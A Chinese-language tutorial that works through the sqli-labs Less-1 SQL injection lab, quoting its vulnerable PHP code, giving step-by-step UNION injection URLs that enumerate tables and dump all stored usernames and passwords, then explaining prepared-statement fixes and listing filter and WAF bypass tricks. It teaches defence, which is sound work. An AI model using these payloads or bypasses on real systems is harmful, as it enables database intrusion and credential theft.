SQL注入实战：从sqli-labs Less-1入门Web安全攻防

1. 从靶场到实战：为什么SQL注入依然是Web安全的“必修课”

如果你刚接触网络安全，或者想从CTF（Capture The Flag）靶场入手，那么“sqli-labs”这个项目几乎是绕不开的名字。它是一个专门为学习SQL注入攻击与防御技术而设计的开源靶场，而“Less-1”则是整个系列的第一关，通常也是最经典、最基础的关卡。你可能在网上看过很多“通关攻略”，告诉你输入?id=1' and 1=1--+就能过关，但知其然更要知其所以然。这篇文章，我想从一个有多年渗透测试和代码审计经验的角度，和你一起重新“通关”Less-1。我们的目标不是简单地复制粘贴Payload，而是彻底理解这背后每一步的原理、服务器的响应逻辑、以及如何将这种靶场思维，转化为在真实渗透测试或代码审计中发现问题、理解问题的能力。毕竟，靶场是理想化的沙盒，而真实世界的应用千奇百怪，只有理解了本质，才能应对变化。

2. Less-1 环境搭建与核心代码逻辑拆解

在开始“攻击”之前，我们必须先成为“建造者”。理解靶场的运行机制，是理解漏洞成因的前提。sqli-labs通常使用PHP+MySQL环境搭建。

2.1 靶场环境快速部署要点

虽然你可以直接使用在线的sqli-labs环境，但我强烈建议在本地（如使用Docker、XAMPP、PHPStudy等）搭建一套。本地环境能让你拥有最高权限，可以随时查看后端代码、数据库状态和日志，这对于深度学习至关重要。

部署时需要注意几个细节：

1. 数据库初始化：sqli-labs的GitHub仓库中通常包含一个sql-lab.sql文件。你需要将其导入到MySQL中，以创建所需的数据库（如security）和数据表（如users）。这一步经常被新手忽略，导致靶场页面无法正常显示数据。
2. 数据库连接配置：检查sql-connections目录下的db-creds.inc或类似文件，确保其中的数据库主机（通常是localhost）、用户名、密码和数据库名（security）与你本地环境一致。
3. PHP版本兼容性：老版本的sqli-labs可能在新版PHP（如PHP 7.x/8.x）上遇到函数弃用或语法警告。常见的如mysql_*函数在PHP 7.0后被移除，sqli-labs使用的是mysqli或mysql，需确保你的PHP环境支持。如果遇到错误，可能需要根据错误信息微调代码。

2.2 Less-1 源代码深度解析

Less-1的入口文件通常是Less-1/index.php。它的代码结构是理解一切的基础。下面我们逐段分析一个典型的Less-1后端处理逻辑（代码已做简化讲解）：

// 从GET请求中获取‘id’参数，未传入则默认为1 $id = $_GET['id']; // 关键漏洞点：未经过任何过滤，直接将用户输入拼接到SQL字符串中 $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 执行查询 $result = mysqli_query($con, $sql) or die('<font color= "#FFFF00">' . mysqli_error($con) . '</font>'); // 获取结果并以关联数组形式返回一行 $row = mysqli_fetch_array($result, MYSQLI_ASSOC); // 显示查询结果 if($row) { echo "Your Login name: ".$row['username']; echo "Your Password: ".$row['password']; } else { echo "无法获取结果"; }

这段代码的“致命伤”清晰可见：

• $id = $_GET['id'];：直接信任了来自用户浏览器地址栏（或任何可发送GET请求的工具）的输入。
• $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";：采用字符串拼接的方式构造SQL语句。这里用单引号'将变量$id包裹，意图是将其作为字符串值传入。这正是注入的突破口。
• or die(...)：这段代码配置了错误回显。当SQL语句执行出错时，会通过mysqli_error()函数将MySQL的具体错误信息打印到页面上。这为我们进行基于错误回显的SQL注入提供了极其重要的信息。

理解这个逻辑链至关重要：用户输入 → 直接拼接 → 形成可被数据库解析的指令 → 执行并返回结果或错误。我们的所有注入尝试，本质上都是在精心构造一个输入，使得它被拼接进这个SQL语句模板后，能改变原语句的语义，实现我们想要的操作（如绕过验证、获取数据、探测结构）。

3. 手工注入实战：一步步拆解Less-1的防御

现在，我们假设靶场运行在http://localhost/sqli-labs/Less-1/。我们的任务是通过操纵id参数，获取数据库信息。

3.1 第一步：确认注入点与注入类型

访问：http://localhost/sqli-labs/Less-1/?id=1页面正常显示用户ID为1的用户名和密码（如Dumb, Dumb）。这说明参数被正常接收和处理。

测试1：引入单引号，触发语法错误访问：http://localhost/sqli-labs/Less-1/?id=1'页面很可能返回一个MySQL错误，例如：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''1'' LIMIT 0,1' at line 1

为什么？我们输入的1'被代入语句后变成：SELECT * FROM users WHERE id='1'' LIMIT 0,1这里出现了两个连续的单引号''，在SQL中这是一个转义的单引号（字符串内容），但紧接着语句的闭合单引号'之后，多出了一个我们输入的引号，导致语法错误。这初步证实了参数被放在单引号中，且存在注入可能。

测试2：构造永真条件，测试注入是否成功访问：http://localhost/sqli-labs/Less-1/?id=1' and '1'='1代入后语句为：SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1and '1'='1'是一个永远为真的条件，所以整个WHERE子句依然为真，页面应正常显示ID=1的用户信息。

测试3：构造永假条件，观察页面差异访问：http://localhost/sqli-labs/Less-1/?id=1' and '1'='2代入后语句为：SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1and '1'='2'永远为假，导致整个WHERE条件为假，查询不到数据。页面可能显示“无法获取结果”或空白。通过与测试2的对比，我们确认了可以通过注入逻辑改变查询结果，即注入点存在且可利用。

注意：这里我们使用了'1'='1这种形式来闭合引号，而不是常见的--+注释掉后续部分。这是因为在测试初期，我们想先验证注入类型。Less-1的典型解法确实是用注释符，但理解多种闭合方式更有助于应对复杂场景。

3.2 第二步：利用联合查询（UNION）获取数据库信息

确认注入点后，我们需要获取更多信息。UNION SELECT是利器，它允许我们将额外的查询结果附加到原始查询之后。

第一步：判断当前查询的列数UNION操作要求前后两个SELECT语句的列数必须相同。我们使用ORDER BY子句来探测。

• ORDER BY 1：按第一列排序，通常成功。
• ORDER BY 2：按第二列排序，成功。
• ORDER BY 3：按第三列排序，成功。
• ORDER BY 4：访问http://localhost/sqli-labs/Less-1/?id=1' order by 4--+代入后：SELECT * FROM users WHERE id='1' order by 4--+' LIMIT 0,1如果order by 4超出了结果集的列数，数据库会报错。通过错误或页面异常，我们可以确定列数。在Less-1中，order by 4通常会报错，而order by 3正常，说明原始查询返回3列。

第二步：确定各列在页面中的输出位置我们需要知道这3列中，哪几列的内容会被回显到网页上，以便将我们想要的信息“投射”到这些位置。 访问：http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3--+这里有几个关键技巧：

1. 将原始查询结果置空：通过设置id=-1（一个不存在的ID），让前半部分SELECT * FROM users WHERE id='-1'查询结果为空。这样，页面显示的就完全是UNION后面select 1,2,3的结果。
2. 使用数字占位：select 1,2,3会产生一个三列的结果集，值分别是1,2,3。如果页面某处显示了“2”或“3”，就说明对应的那一列会被回显。
3. 注释符的使用：--+是MySQL中的单行注释符（--后面必须跟一个空格，+在URL中常被编码为空格）。它用于注释掉原SQL语句中'之后的部分（即LIMIT 0,1），避免其干扰我们的UNION查询。

执行后，页面很可能在原本显示“用户名”和“密码”的地方，分别显示出数字2和3。这说明第2列和第3列是回显点。

3.3 第三步：系统信息收集与数据库结构探测

现在，我们可以把2和3的位置替换成我们想要查询的函数或语句。

获取基础信息：

• 数据库版本：http://localhost/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+version()返回MySQL版本，database()返回当前数据库名（通常是security）。这样，我们就能在页面上看到版本号和库名。
• 当前用户：http://localhost/sqli-labs/Less-1/?id=-1' union select 1,user(),@@version_compile_os--+user()返回当前数据库连接的用户，@@version_compile_os返回操作系统信息。

获取security数据库中的所有表名：在MySQL中，数据库的元数据（如表名、列名）存储在名为information_schema的系统数据库中。

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

• information_schema.tables：存储所有表信息的系统表。
• table_schema=database()：条件限定为当前数据库。
• group_concat(table_name)：将查询到的所有表名合并成一个字符串，避免因LIMIT 0,1的限制只返回一条记录。执行后，你可能会看到emails,referers,uagents,users等表名。我们显然对users表最感兴趣。

获取users表的所有列名：

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

执行后，可能会得到id,username,password。

3.4 第四步：最终数据提取

现在，我们可以直接查询users表中的敏感数据了。

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

这条语句会一次性将users表中所有的用户名和密码分别合并，并显示在页面的两个回显点上。至此，Less-1的核心目标——获取所有用户凭证——已经完成。

4. 从注入过程反思漏洞根源与安全编码

通关固然有成就感，但作为开发者或安全人员，我们更应关注如何避免写出这样的代码。

4.1 漏洞根源深度剖析

Less-1的漏洞是基于错误的字符型联合查询注入。其根源在于：

1. 信任了不可信的输入源：Web请求参数（GET/POST/COOKIE等）是完全可以由攻击者控制的，将其视为可信数据是万恶之源。
2. 字符串拼接构造SQL：这是最直接的漏洞引入方式。任何将用户输入与SQL语句字符串直接“相加”的操作都极其危险。
3. 错误信息详细回显：在生产环境中，将数据库错误信息直接展示给用户是重大失误。这为攻击者提供了调试信息，降低了注入难度。

4.2 根本性解决方案：参数化查询（预编译语句）

修复此类漏洞，绝对不应该使用简单的字符串替换或过滤关键字（如addslashes、mysql_real_escape_string，在特定字符集下仍可能被绕过），而应使用参数化查询（Prepared Statements）。

以PHP的MySQLi扩展为例，修复后的代码应该是：

$id = $_GET['id']; // 准备SQL语句模板，使用问号?作为参数占位符 $stmt = $con->prepare("SELECT * FROM users WHERE id=? LIMIT 0,1"); // 将变量$id绑定到占位符，并指定其类型为字符串（‘s’） $stmt->bind_param("s", $id); // 执行查询 $stmt->execute(); // 获取结果 $result = $stmt->get_result(); $row = $result->fetch_assoc(); // ... 后续显示逻辑

为什么参数化查询是安全的？它的核心原理是将SQL语句的逻辑结构（代码）与数据（参数）分开发送给数据库服务器。

1. 准备阶段：数据库引擎解析SELECT * FROM users WHERE id=? LIMIT 0,1这个模板，理解其语法结构，并生成执行计划。
2. 绑定与执行阶段：将用户输入的$id值作为纯数据发送过去。此时，即使$id包含1' and 1=1--+，数据库也只会将其视为一个完整的字符串值去匹配id字段，而不会将其解析为SQL指令的一部分。从根本上杜绝了“数据”变成“代码”的可能性。

4.3 其他防御层补充

1. 最小权限原则：连接数据库的应用程序账号，不应拥有DROP、FILE、GRANT等高级权限，通常只赋予SELECT、INSERT、UPDATE、DELETE等必要权限。
2. 自定义错误处理：在生产环境关闭详细的数据库错误回显，使用统一的、模糊的错误页面，避免泄露系统信息。
3. Web应用防火墙（WAF）：在应用层部署WAF，可以拦截常见的SQL注入攻击模式，作为一道额外的防线。但它不能替代安全的代码。
4. 输入验证与过滤：在业务逻辑允许的范围内，对输入进行严格校验。例如，如果id参数本应只是数字，那么在接受输入时就用intval()或is_numeric()进行校验和转换。

5. 靶场之外的思考：真实场景中的SQL注入变种

Less-1是一个理想化的教学模型。真实世界的注入往往更隐蔽、更复杂。

5.1 注入点位置的变化

• POST注入：注入参数隐藏在POST请求体中，而非URL。攻击工具需要切换请求方法。
• Cookie注入：应用程序将用户标识等信息存放在Cookie中并用于数据库查询，如果未过滤，则形成Cookie注入。
• HTTP头注入：User-Agent、X-Forwarded-For等HTTP头部信息被记录到数据库时，也可能成为注入点。
• 二次注入：数据第一次存入数据库时经过了转义，是安全的。但当它被从数据库中取出，再次拼接到新的SQL语句中时，如果未经过滤，就会引发注入。这类漏洞更难通过常规扫描发现。

5.2 防御机制的绕过

• 过滤空格：使用/**/、%0a（换行符）、%0b（垂直制表符）、%0c（换页符）、括号()等方式绕过。
• 过滤关键词：使用大小写变形（SeLeCt）、双写绕过（selselectect）、等价函数/语句替换（mid()代替substring()）、编码（十六进制、URL编码）等方式。
• WAF绕过：利用特殊的语法特性、分块传输、协议层干扰等技术来绕过WAF的检测规则。

5.3 盲注：没有错误回显的“黑暗”攻击

这是Less-1之后更常见的关卡类型（如Less-5）。页面不会显示数据库错误，也不会直接输出查询数据。攻击者只能通过观察页面行为的细微差异（如返回内容真假、响应时间长短）来逐位推断数据。这需要用到if()、sleep()等函数，通过布尔盲注或时间盲注技术进行，攻击过程缓慢但同样致命。

通关sqli-labs的Less-1，绝不是输入一个Payload然后点下一步那么简单。它是一次完整的、从黑盒测试到白盒审计的思维训练。通过手动构造每一个参数，观察每一次响应，你实际上是在模拟一个攻击者的完整思考链路：信息收集、漏洞探测、利用扩展、数据获取。而作为防御方，理解了这个链路，你就能在代码层面、架构层面部署更有效的防线。安全是一个攻防对抗的动态过程，而扎实的基础，正是从这样一个个看似简单的“通关”开始。当你再看到一段数据库查询代码时，希望你的第一反应不再是“它能跑通”，而是“它安全吗？用户输入在哪里？它是如何被处理的？”。这才是学习sqli-labs，乃至学习任何安全技术的真正价值所在。